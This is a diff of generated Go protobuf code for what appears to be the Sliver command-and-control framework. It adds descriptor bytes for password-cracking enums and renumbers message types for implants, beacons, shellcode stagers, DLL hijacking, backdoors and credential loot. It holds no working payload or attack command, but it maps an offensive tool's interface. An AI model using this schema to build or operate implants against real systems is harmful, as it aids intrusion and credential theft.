+ 0x49, 0x4e, 0x32, 0x10, 0xac, 0x4d, 0x12, 0x14, 0x0a, 0x0f, 0x53, 0x41, 0x4d, 0x53, 0x55, 0x4e,
+ 0x47, 0x5f, 0x41, 0x4e, 0x44, 0x52, 0x4f, 0x49, 0x44, 0x10, 0xa8, 0x2d, 0x12, 0x17, 0x0a, 0x11,
+ 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x48, 0x45, 0x4c, 0x4c, 0x4f, 0x5f, 0x50, 0x49,
+ 0x4e, 0x10, 0xc4, 0xdb, 0x01, 0x12, 0x12, 0x0a, 0x0d, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53,
+ 0x5f, 0x50, 0x48, 0x4f, 0x4e, 0x45, 0x10, 0xe8, 0x6b, 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, 0x53,
+ 0x43, 0x4f, 0x5f, 0x41, 0x53, 0x41, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xea, 0x12, 0x12, 0x1c, 0x0a,
+ 0x17, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x49, 0x4f, 0x53, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46,
+ 0x32, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0xf0, 0x47, 0x12, 0x15, 0x0a, 0x10, 0x43,
+ 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x49, 0x4f, 0x53, 0x5f, 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10,
+ 0xd4, 0x48, 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x50, 0x49, 0x58, 0x5f,
+ 0x4d, 0x44, 0x35, 0x10, 0xe0, 0x12, 0x12, 0x1a, 0x0a, 0x15, 0x43, 0x49, 0x54, 0x52, 0x49, 0x58,
+ 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, 0x41, 0x4c, 0x45, 0x52, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10,
+ 0xa4, 0x3f, 0x12, 0x1d, 0x0a, 0x17, 0x43, 0x49, 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, 0x54,
+ 0x53, 0x43, 0x41, 0x4c, 0x45, 0x52, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xb8, 0xad,
+ 0x01, 0x12, 0x08, 0x0a, 0x03, 0x44, 0x43, 0x43, 0x10, 0xcc, 0x08, 0x12, 0x09, 0x0a, 0x04, 0x44,
+ 0x43, 0x43, 0x32, 0x10, 0xb4, 0x10, 0x12, 0x0f, 0x0a, 0x0a, 0x4d, 0x41, 0x43, 0x4f, 0x53, 0x5f,
+ 0x31, 0x30, 0x5f, 0x38, 0x10, 0xbc, 0x37, 0x12, 0x0c, 0x0a, 0x07, 0x49, 0x4e, 0x56, 0x41, 0x4c,
+ 0x49, 0x44, 0x10, 0x8f, 0x4e, 0x12, 0x10, 0x0a, 0x0b, 0x42, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5f,
+ 0x55, 0x4e, 0x49, 0x58, 0x10, 0x80, 0x19, 0x12, 0x16, 0x0a, 0x11, 0x53, 0x48, 0x41, 0x35, 0x31,
+ 0x32, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5f, 0x55, 0x4e, 0x49, 0x58, 0x10, 0x88, 0x0e, 0x2a,
+ 0x32, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, 0x12, 0x08, 0x0a, 0x04, 0x49, 0x44, 0x4c,
+ 0x45, 0x10, 0x00, 0x12, 0x0c, 0x0a, 0x08, 0x43, 0x52, 0x41, 0x43, 0x4b, 0x49, 0x4e, 0x47, 0x10,
+ 0x01, 0x12, 0x10, 0x0a, 0x0c, 0x49, 0x4e, 0x49, 0x54, 0x49, 0x41, 0x4c, 0x49, 0x5a, 0x49, 0x4e,
+ 0x47, 0x10, 0x02, 0x2a, 0x3c, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x53,
+ 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x0f, 0x0a, 0x0b, 0x49, 0x4e, 0x5f, 0x50, 0x52, 0x4f, 0x47,
+ 0x52, 0x45, 0x53, 0x53, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x43, 0x4f, 0x4d, 0x50, 0x4c, 0x45,
+ 0x54, 0x45, 0x44, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x46, 0x41, 0x49, 0x4c, 0x45, 0x44, 0x10,
+ 0x02, 0x2a, 0x94, 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63,
+ 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x53, 0x54, 0x52, 0x41, 0x49, 0x47, 0x48,
+ 0x54, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x43, 0x4f, 0x4d, 0x42, 0x49, 0x4e, 0x41, 0x54, 0x49,
+ 0x4f, 0x4e, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x42, 0x52, 0x55, 0x54, 0x45, 0x46, 0x4f, 0x52,
+ 0x43, 0x45, 0x10, 0x03, 0x12, 0x18, 0x0a, 0x14, 0x48, 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, 0x57,
+ 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x5f, 0x4d, 0x41, 0x53, 0x4b, 0x10, 0x06, 0x12, 0x18,
+ 0x0a, 0x14, 0x48, 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, 0x4d, 0x41, 0x53, 0x4b, 0x5f, 0x57, 0x4f,
+ 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x10, 0x07, 0x12, 0x0f, 0x0a, 0x0b, 0x41, 0x53, 0x53, 0x4f,
+ 0x43, 0x49, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x10, 0x09, 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x4f, 0x5f,
+ 0x41, 0x54, 0x54, 0x41, 0x43, 0x4b, 0x10, 0x0a, 0x2a, 0x44, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63,
+ 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x12, 0x14, 0x0a, 0x10, 0x49, 0x4e, 0x56,
+ 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x45, 0x4e, 0x43, 0x4f, 0x44, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12,
+ 0x0f, 0x0a, 0x0b, 0x49, 0x53, 0x4f, 0x5f, 0x38, 0x38, 0x35, 0x39, 0x5f, 0x31, 0x35, 0x10, 0x01,
+ 0x12, 0x0c, 0x0a, 0x08, 0x55, 0x54, 0x46, 0x5f, 0x33, 0x32, 0x4c, 0x45, 0x10, 0x02, 0x2a, 0x90,
+ 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46,
+ 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x12, 0x0a, 0x0e, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44,
+ 0x5f, 0x46, 0x4f, 0x52, 0x4d, 0x41, 0x54, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x41, 0x53,
+ 0x48, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x50, 0x4c, 0x41, 0x49,
+ 0x4e, 0x10, 0x02, 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x45, 0x58, 0x5f, 0x50, 0x4c, 0x41, 0x49, 0x4e,
+ 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, 0x43, 0x52, 0x41, 0x43, 0x4b, 0x5f, 0x50, 0x4f, 0x53, 0x10,
+ 0x04, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, 0x4d, 0x45, 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, 0x41,
+ 0x42, 0x53, 0x4f, 0x4c, 0x55, 0x54, 0x45, 0x10, 0x05, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, 0x4d,
+ 0x45, 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, 0x52, 0x45, 0x4c, 0x41, 0x54, 0x49, 0x56, 0x45, 0x10,
+ 0x06, 0x2a, 0x63, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f,
+ 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x18, 0x49, 0x4e, 0x56,
+ 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x57, 0x4f, 0x52, 0x4b, 0x4c, 0x4f, 0x41, 0x44, 0x5f, 0x50, 0x52,
+ 0x4f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x07, 0x0a, 0x03, 0x4c, 0x4f, 0x57, 0x10, 0x01,
+ 0x12, 0x0b, 0x0a, 0x07, 0x44, 0x45, 0x46, 0x41, 0x55, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x08, 0x0a,
+ 0x04, 0x48, 0x49, 0x47, 0x48, 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x49, 0x47, 0x48, 0x54,
+ 0x4d, 0x41, 0x52, 0x45, 0x10, 0x04, 0x2a, 0x4e, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46,
+ 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x10, 0x0a, 0x0c, 0x49, 0x4e, 0x56, 0x41, 0x4c,
+ 0x49, 0x44, 0x5f, 0x54, 0x59, 0x50, 0x45, 0x10, 0x00, 0x12, 0x0c, 0x0a, 0x08, 0x57, 0x4f, 0x52,
+ 0x44, 0x4c, 0x49, 0x53, 0x54, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x52, 0x55, 0x4c, 0x45, 0x53,
+ 0x10, 0x02, 0x12, 0x12, 0x0a, 0x0e, 0x4d, 0x41, 0x52, 0x4b, 0x4f, 0x56, 0x5f, 0x48, 0x43, 0x53,
+ 0x54, 0x41, 0x54, 0x32, 0x10, 0x03, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62,
+ 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73,
+ 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63,
+ 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
}
var (
@@ -12709,7 +13259,7 @@ func file_clientpb_client_proto_rawDescGZIP() []byte {
}
var file_clientpb_client_proto_enumTypes = make([]protoimpl.EnumInfo, 13)
-var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 129)
+var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 135)
var file_clientpb_client_proto_goTypes = []interface{}{
(OutputFormat)(0), // 0: clientpb.OutputFormat
(StageProtocol)(0), // 1: clientpb.StageProtocol
@@ -12725,261 +13275,274 @@ var file_clientpb_client_proto_goTypes = []interface{}{
(CrackWorkloadProfile)(0), // 11: clientpb.CrackWorkloadProfile
(CrackFileType)(0), // 12: clientpb.CrackFileType
(*Version)(nil), // 13: clientpb.Version
- (*ClientLogData)(nil), // 14: clientpb.ClientLogData
- (*Session)(nil), // 15: clientpb.Session
- (*Beacon)(nil), // 16: clientpb.Beacon
- (*Beacons)(nil), // 17: clientpb.Beacons
- (*BeaconTask)(nil), // 18: clientpb.BeaconTask
- (*BeaconTasks)(nil), // 19: clientpb.BeaconTasks
- (*ImplantC2)(nil), // 20: clientpb.ImplantC2
- (*ImplantConfig)(nil), // 21: clientpb.ImplantConfig
- (*TrafficEncoder)(nil), // 22: clientpb.TrafficEncoder
- (*TrafficEncoderMap)(nil), // 23: clientpb.TrafficEncoderMap
- (*TrafficEncoderTest)(nil), // 24: clientpb.TrafficEncoderTest
- (*TrafficEncoderTests)(nil), // 25: clientpb.TrafficEncoderTests
- (*ExternalImplantConfig)(nil), // 26: clientpb.ExternalImplantConfig
- (*ExternalImplantBinary)(nil), // 27: clientpb.ExternalImplantBinary
- (*ImplantBuilds)(nil), // 28: clientpb.ImplantBuilds
- (*ImplantStageReq)(nil), // 29: clientpb.ImplantStageReq
- (*ImplantBuild)(nil), // 30: clientpb.ImplantBuild
- (*CompilerTarget)(nil), // 31: clientpb.CompilerTarget
- (*CrossCompiler)(nil), // 32: clientpb.CrossCompiler
- (*Compiler)(nil), // 33: clientpb.Compiler
- (*DeleteReq)(nil), // 34: clientpb.DeleteReq
- (*DNSCanary)(nil), // 35: clientpb.DNSCanary
- (*Canaries)(nil), // 36: clientpb.Canaries
- (*UniqueWGIP)(nil), // 37: clientpb.UniqueWGIP
- (*ImplantProfile)(nil), // 38: clientpb.ImplantProfile
- (*ImplantProfiles)(nil), // 39: clientpb.ImplantProfiles
- (*RegenerateReq)(nil), // 40: clientpb.RegenerateReq
- (*Job)(nil), // 41: clientpb.Job
- (*Jobs)(nil), // 42: clientpb.Jobs
- (*KillJobReq)(nil), // 43: clientpb.KillJobReq
- (*RestartJobReq)(nil), // 44: clientpb.RestartJobReq
- (*KillJob)(nil), // 45: clientpb.KillJob
- (*ListenerJob)(nil), // 46: clientpb.ListenerJob
- (*MultiplayerListenerReq)(nil), // 47: clientpb.MultiplayerListenerReq
- (*MTLSListenerReq)(nil), // 48: clientpb.MTLSListenerReq
- (*WGListenerReq)(nil), // 49: clientpb.WGListenerReq
- (*DNSListenerReq)(nil), // 50: clientpb.DNSListenerReq
- (*HTTPListenerReq)(nil), // 51: clientpb.HTTPListenerReq
- (*NamedPipesReq)(nil), // 52: clientpb.NamedPipesReq
- (*NamedPipes)(nil), // 53: clientpb.NamedPipes
- (*TCPPivotReq)(nil), // 54: clientpb.TCPPivotReq
- (*TCPPivot)(nil), // 55: clientpb.TCPPivot
- (*Sessions)(nil), // 56: clientpb.Sessions
- (*RenameReq)(nil), // 57: clientpb.RenameReq
- (*GenerateReq)(nil), // 58: clientpb.GenerateReq
- (*GenerateStageReq)(nil), // 59: clientpb.GenerateStageReq
- (*Generate)(nil), // 60: clientpb.Generate
- (*MSFReq)(nil), // 61: clientpb.MSFReq
- (*MSFRemoteReq)(nil), // 62: clientpb.MSFRemoteReq
- (*StagerListenerReq)(nil), // 63: clientpb.StagerListenerReq
- (*StagerListener)(nil), // 64: clientpb.StagerListener
- (*ShellcodeRDIReq)(nil), // 65: clientpb.ShellcodeRDIReq
- (*ShellcodeRDI)(nil), // 66: clientpb.ShellcodeRDI
- (*MsfStagerReq)(nil), // 67: clientpb.MsfStagerReq
- (*MsfStager)(nil), // 68: clientpb.MsfStager
- (*GetSystemReq)(nil), // 69: clientpb.GetSystemReq
- (*MigrateReq)(nil), // 70: clientpb.MigrateReq
- (*CreateTunnelReq)(nil), // 71: clientpb.CreateTunnelReq
- (*CreateTunnel)(nil), // 72: clientpb.CreateTunnel
- (*CloseTunnelReq)(nil), // 73: clientpb.CloseTunnelReq
- (*PivotGraphEntry)(nil), // 74: clientpb.PivotGraphEntry
- (*PivotGraph)(nil), // 75: clientpb.PivotGraph
- (*Client)(nil), // 76: clientpb.Client
- (*Event)(nil), // 77: clientpb.Event
- (*Operators)(nil), // 78: clientpb.Operators
- (*Operator)(nil), // 79: clientpb.Operator
- (*WebContent)(nil), // 80: clientpb.WebContent
- (*WebsiteAddContent)(nil), // 81: clientpb.WebsiteAddContent
- (*WebsiteRemoveContent)(nil), // 82: clientpb.WebsiteRemoveContent
- (*Website)(nil), // 83: clientpb.Website
- (*Websites)(nil), // 84: clientpb.Websites
- (*WGClientConfig)(nil), // 85: clientpb.WGClientConfig
- (*Loot)(nil), // 86: clientpb.Loot
- (*AllLoot)(nil), // 87: clientpb.AllLoot
- (*IOC)(nil), // 88: clientpb.IOC
- (*ExtensionData)(nil), // 89: clientpb.ExtensionData
- (*Host)(nil), // 90: clientpb.Host
- (*AllHosts)(nil), // 91: clientpb.AllHosts
- (*DllHijackReq)(nil), // 92: clientpb.DllHijackReq
- (*DllHijack)(nil), // 93: clientpb.DllHijack
- (*BackdoorReq)(nil), // 94: clientpb.BackdoorReq
- (*Backdoor)(nil), // 95: clientpb.Backdoor
- (*ShellcodeEncodeReq)(nil), // 96: clientpb.ShellcodeEncodeReq
- (*ShellcodeEncode)(nil), // 97: clientpb.ShellcodeEncode
- (*ShellcodeEncoderMap)(nil), // 98: clientpb.ShellcodeEncoderMap
- (*ExternalGenerateReq)(nil), // 99: clientpb.ExternalGenerateReq
- (*Builders)(nil), // 100: clientpb.Builders
- (*Builder)(nil), // 101: clientpb.Builder
- (*HTTPC2Configs)(nil), // 102: clientpb.HTTPC2Configs
- (*C2ProfileReq)(nil), // 103: clientpb.C2ProfileReq
- (*HTTPC2ConfigReq)(nil), // 104: clientpb.HTTPC2ConfigReq
- (*HTTPC2Config)(nil), // 105: clientpb.HTTPC2Config
- (*HTTPC2ServerConfig)(nil), // 106: clientpb.HTTPC2ServerConfig
- (*HTTPC2ImplantConfig)(nil), // 107: clientpb.HTTPC2ImplantConfig
- (*HTTPC2Cookie)(nil), // 108: clientpb.HTTPC2Cookie
- (*HTTPC2Header)(nil), // 109: clientpb.HTTPC2Header
- (*HTTPC2URLParameter)(nil), // 110: clientpb.HTTPC2URLParameter
- (*HTTPC2PathSegment)(nil), // 111: clientpb.HTTPC2PathSegment
- (*Credential)(nil), // 112: clientpb.Credential
- (*Credentials)(nil), // 113: clientpb.Credentials
- (*Crackstations)(nil), // 114: clientpb.Crackstations
- (*CrackstationStatus)(nil), // 115: clientpb.CrackstationStatus
- (*CrackSyncStatus)(nil), // 116: clientpb.CrackSyncStatus
- (*CrackBenchmark)(nil), // 117: clientpb.CrackBenchmark
- (*CrackTask)(nil), // 118: clientpb.CrackTask
- (*Crackstation)(nil), // 119: clientpb.Crackstation
- (*CUDABackendInfo)(nil), // 120: clientpb.CUDABackendInfo
- (*OpenCLBackendInfo)(nil), // 121: clientpb.OpenCLBackendInfo
- (*MetalBackendInfo)(nil), // 122: clientpb.MetalBackendInfo
- (*CrackCommand)(nil), // 123: clientpb.CrackCommand
- (*CrackConfig)(nil), // 124: clientpb.CrackConfig
- (*CrackFiles)(nil), // 125: clientpb.CrackFiles
- (*CrackFile)(nil), // 126: clientpb.CrackFile
- (*CrackFileChunk)(nil), // 127: clientpb.CrackFileChunk
- (*MonitoringProviders)(nil), // 128: clientpb.MonitoringProviders
- (*MonitoringProvider)(nil), // 129: clientpb.MonitoringProvider
- (*ResourceID)(nil), // 130: clientpb.ResourceID
- nil, // 131: clientpb.TrafficEncoderMap.EncodersEntry
- nil, // 132: clientpb.ImplantBuilds.ConfigsEntry
- nil, // 133: clientpb.ImplantBuilds.ResourceIDsEntry
- nil, // 134: clientpb.ImplantBuilds.StagedEntry
- nil, // 135: clientpb.WebsiteAddContent.ContentsEntry
- nil, // 136: clientpb.Website.ContentsEntry
- nil, // 137: clientpb.Host.ExtensionDataEntry
- nil, // 138: clientpb.ShellcodeEncoderMap.EncodersEntry
- nil, // 139: clientpb.CrackSyncStatus.ProgressEntry
- nil, // 140: clientpb.CrackBenchmark.BenchmarksEntry
- nil, // 141: clientpb.Crackstation.BenchmarksEntry
- (*commonpb.File)(nil), // 142: commonpb.File
- (*commonpb.Request)(nil), // 143: commonpb.Request
- (*commonpb.Response)(nil), // 144: commonpb.Response
+ (*Users)(nil), // 14: clientpb.Users
+ (*User)(nil), // 15: clientpb.User
+ (*ClientLogData)(nil), // 16: clientpb.ClientLogData
+ (*ImplantCommand)(nil), // 17: clientpb.ImplantCommand
+ (*HistoryRequest)(nil), // 18: clientpb.HistoryRequest
+ (*History)(nil), // 19: clientpb.History
+ (*Session)(nil), // 20: clientpb.Session
+ (*Beacon)(nil), // 21: clientpb.Beacon
+ (*Beacons)(nil), // 22: clientpb.Beacons
+ (*BeaconTask)(nil), // 23: clientpb.BeaconTask
+ (*BeaconTasks)(nil), // 24: clientpb.BeaconTasks
+ (*ImplantC2)(nil), // 25: clientpb.ImplantC2
+ (*ImplantConfig)(nil), // 26: clientpb.ImplantConfig
+ (*TrafficEncoder)(nil), // 27: clientpb.TrafficEncoder
+ (*TrafficEncoderMap)(nil), // 28: clientpb.TrafficEncoderMap
+ (*TrafficEncoderTest)(nil), // 29: clientpb.TrafficEncoderTest
+ (*TrafficEncoderTests)(nil), // 30: clientpb.TrafficEncoderTests
+ (*ExternalImplantConfig)(nil), // 31: clientpb.ExternalImplantConfig
+ (*ExternalImplantBinary)(nil), // 32: clientpb.ExternalImplantBinary
+ (*ImplantBuilds)(nil), // 33: clientpb.ImplantBuilds
+ (*ImplantStageReq)(nil), // 34: clientpb.ImplantStageReq
+ (*ImplantBuild)(nil), // 35: clientpb.ImplantBuild
+ (*CompilerTarget)(nil), // 36: clientpb.CompilerTarget
+ (*CrossCompiler)(nil), // 37: clientpb.CrossCompiler
+ (*Compiler)(nil), // 38: clientpb.Compiler
+ (*MetasploitModule)(nil), // 39: clientpb.MetasploitModule
+ (*MetasploitCompiler)(nil), // 40: clientpb.MetasploitCompiler
+ (*DeleteReq)(nil), // 41: clientpb.DeleteReq
+ (*DNSCanary)(nil), // 42: clientpb.DNSCanary
+ (*Canaries)(nil), // 43: clientpb.Canaries
+ (*UniqueWGIP)(nil), // 44: clientpb.UniqueWGIP
+ (*ImplantProfile)(nil), // 45: clientpb.ImplantProfile
+ (*ImplantProfiles)(nil), // 46: clientpb.ImplantProfiles
+ (*RegenerateReq)(nil), // 47: clientpb.RegenerateReq
+ (*Job)(nil), // 48: clientpb.Job
+ (*Jobs)(nil), // 49: clientpb.Jobs
+ (*KillJobReq)(nil), // 50: clientpb.KillJobReq
+ (*RestartJobReq)(nil), // 51: clientpb.RestartJobReq
+ (*KillJob)(nil), // 52: clientpb.KillJob
+ (*ListenerJob)(nil), // 53: clientpb.ListenerJob
+ (*MultiplayerListenerReq)(nil), // 54: clientpb.MultiplayerListenerReq
+ (*MTLSListenerReq)(nil), // 55: clientpb.MTLSListenerReq
+ (*WGListenerReq)(nil), // 56: clientpb.WGListenerReq
+ (*DNSListenerReq)(nil), // 57: clientpb.DNSListenerReq
+ (*HTTPListenerReq)(nil), // 58: clientpb.HTTPListenerReq
+ (*NamedPipesReq)(nil), // 59: clientpb.NamedPipesReq
+ (*NamedPipes)(nil), // 60: clientpb.NamedPipes
+ (*TCPPivotReq)(nil), // 61: clientpb.TCPPivotReq
+ (*TCPPivot)(nil), // 62: clientpb.TCPPivot
+ (*Sessions)(nil), // 63: clientpb.Sessions
+ (*RenameReq)(nil), // 64: clientpb.RenameReq
+ (*GenerateReq)(nil), // 65: clientpb.GenerateReq
+ (*GenerateStageReq)(nil), // 66: clientpb.GenerateStageReq
+ (*Generate)(nil), // 67: clientpb.Generate
+ (*MSFReq)(nil), // 68: clientpb.MSFReq
+ (*MSFRemoteReq)(nil), // 69: clientpb.MSFRemoteReq
+ (*StagerListenerReq)(nil), // 70: clientpb.StagerListenerReq
+ (*StagerListener)(nil), // 71: clientpb.StagerListener
+ (*ShellcodeRDIReq)(nil), // 72: clientpb.ShellcodeRDIReq
+ (*ShellcodeRDI)(nil), // 73: clientpb.ShellcodeRDI
+ (*MsfStagerReq)(nil), // 74: clientpb.MsfStagerReq
+ (*MsfStager)(nil), // 75: clientpb.MsfStager
+ (*GetSystemReq)(nil), // 76: clientpb.GetSystemReq
+ (*MigrateReq)(nil), // 77: clientpb.MigrateReq
+ (*CreateTunnelReq)(nil), // 78: clientpb.CreateTunnelReq
+ (*CreateTunnel)(nil), // 79: clientpb.CreateTunnel
+ (*CloseTunnelReq)(nil), // 80: clientpb.CloseTunnelReq
+ (*PivotGraphEntry)(nil), // 81: clientpb.PivotGraphEntry
+ (*PivotGraph)(nil), // 82: clientpb.PivotGraph
+ (*Client)(nil), // 83: clientpb.Client
+ (*Event)(nil), // 84: clientpb.Event
+ (*Operator)(nil), // 85: clientpb.Operator
+ (*WebContent)(nil), // 86: clientpb.WebContent
+ (*WebsiteAddContent)(nil), // 87: clientpb.WebsiteAddContent
+ (*WebsiteRemoveContent)(nil), // 88: clientpb.WebsiteRemoveContent
+ (*Website)(nil), // 89: clientpb.Website
+ (*Websites)(nil), // 90: clientpb.Websites
+ (*WGClientConfig)(nil), // 91: clientpb.WGClientConfig
+ (*Loot)(nil), // 92: clientpb.Loot
+ (*AllLoot)(nil), // 93: clientpb.AllLoot
+ (*IOC)(nil), // 94: clientpb.IOC
+ (*ExtensionData)(nil), // 95: clientpb.ExtensionData
+ (*Host)(nil), // 96: clientpb.Host
+ (*AllHosts)(nil), // 97: clientpb.AllHosts
+ (*DllHijackReq)(nil), // 98: clientpb.DllHijackReq
+ (*DllHijack)(nil), // 99: clientpb.DllHijack
+ (*BackdoorReq)(nil), // 100: clientpb.BackdoorReq
+ (*Backdoor)(nil), // 101: clientpb.Backdoor
+ (*ShellcodeEncodeReq)(nil), // 102: clientpb.ShellcodeEncodeReq
+ (*ShellcodeEncode)(nil), // 103: clientpb.ShellcodeEncode
+ (*ShellcodeEncoderMap)(nil), // 104: clientpb.ShellcodeEncoderMap
+ (*ExternalGenerateReq)(nil), // 105: clientpb.ExternalGenerateReq
+ (*Builders)(nil), // 106: clientpb.Builders
+ (*Builder)(nil), // 107: clientpb.Builder
+ (*HTTPC2Configs)(nil), // 108: clientpb.HTTPC2Configs
+ (*C2ProfileReq)(nil), // 109: clientpb.C2ProfileReq
+ (*HTTPC2ConfigReq)(nil), // 110: clientpb.HTTPC2ConfigReq
+ (*HTTPC2Config)(nil), // 111: clientpb.HTTPC2Config
+ (*HTTPC2ServerConfig)(nil), // 112: clientpb.HTTPC2ServerConfig
+ (*HTTPC2ImplantConfig)(nil), // 113: clientpb.HTTPC2ImplantConfig
+ (*HTTPC2Cookie)(nil), // 114: clientpb.HTTPC2Cookie
+ (*HTTPC2Header)(nil), // 115: clientpb.HTTPC2Header
+ (*HTTPC2URLParameter)(nil), // 116: clientpb.HTTPC2URLParameter
+ (*HTTPC2PathSegment)(nil), // 117: clientpb.HTTPC2PathSegment
+ (*Credential)(nil), // 118: clientpb.Credential
+ (*Credentials)(nil), // 119: clientpb.Credentials
+ (*Crackstations)(nil), // 120: clientpb.Crackstations
+ (*CrackstationStatus)(nil), // 121: clientpb.CrackstationStatus
+ (*CrackSyncStatus)(nil), // 122: clientpb.CrackSyncStatus
+ (*CrackBenchmark)(nil), // 123: clientpb.CrackBenchmark
+ (*CrackTask)(nil), // 124: clientpb.CrackTask
+ (*Crackstation)(nil), // 125: clientpb.Crackstation
+ (*CUDABackendInfo)(nil), // 126: clientpb.CUDABackendInfo
+ (*OpenCLBackendInfo)(nil), // 127: clientpb.OpenCLBackendInfo
+ (*MetalBackendInfo)(nil), // 128: clientpb.MetalBackendInfo
+ (*CrackCommand)(nil), // 129: clientpb.CrackCommand
+ (*CrackConfig)(nil), // 130: clientpb.CrackConfig
+ (*CrackFiles)(nil), // 131: clientpb.CrackFiles
+ (*CrackFile)(nil), // 132: clientpb.CrackFile
+ (*CrackFileChunk)(nil), // 133: clientpb.CrackFileChunk
+ (*MonitoringProviders)(nil), // 134: clientpb.MonitoringProviders
+ (*MonitoringProvider)(nil), // 135: clientpb.MonitoringProvider
+ (*ResourceID)(nil), // 136: clientpb.ResourceID
+ nil, // 137: clientpb.TrafficEncoderMap.EncodersEntry
+ nil, // 138: clientpb.ImplantBuilds.ConfigsEntry
+ nil, // 139: clientpb.ImplantBuilds.ResourceIDsEntry
+ nil, // 140: clientpb.ImplantBuilds.StagedEntry
+ nil, // 141: clientpb.WebsiteAddContent.ContentsEntry
+ nil, // 142: clientpb.Website.ContentsEntry
+ nil, // 143: clientpb.Host.ExtensionDataEntry
+ nil, // 144: clientpb.ShellcodeEncoderMap.EncodersEntry
+ nil, // 145: clientpb.CrackSyncStatus.ProgressEntry
+ nil, // 146: clientpb.CrackBenchmark.BenchmarksEntry
+ nil, // 147: clientpb.Crackstation.BenchmarksEntry
+ (*commonpb.Request)(nil), // 148: commonpb.Request
+ (*commonpb.Response)(nil), // 149: commonpb.Response
+ (*commonpb.File)(nil), // 150: commonpb.File
}
var file_clientpb_client_proto_depIdxs = []int32{
- 16, // 0: clientpb.Beacons.Beacons:type_name -> clientpb.Beacon
- 18, // 1: clientpb.BeaconTasks.Tasks:type_name -> clientpb.BeaconTask
- 30, // 2: clientpb.ImplantConfig.ImplantBuilds:type_name -> clientpb.ImplantBuild
- 20, // 3: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2
- 0, // 4: clientpb.ImplantConfig.Format:type_name -> clientpb.OutputFormat
- 142, // 5: clientpb.ImplantConfig.Assets:type_name -> commonpb.File
- 142, // 6: clientpb.TrafficEncoder.Wasm:type_name -> commonpb.File
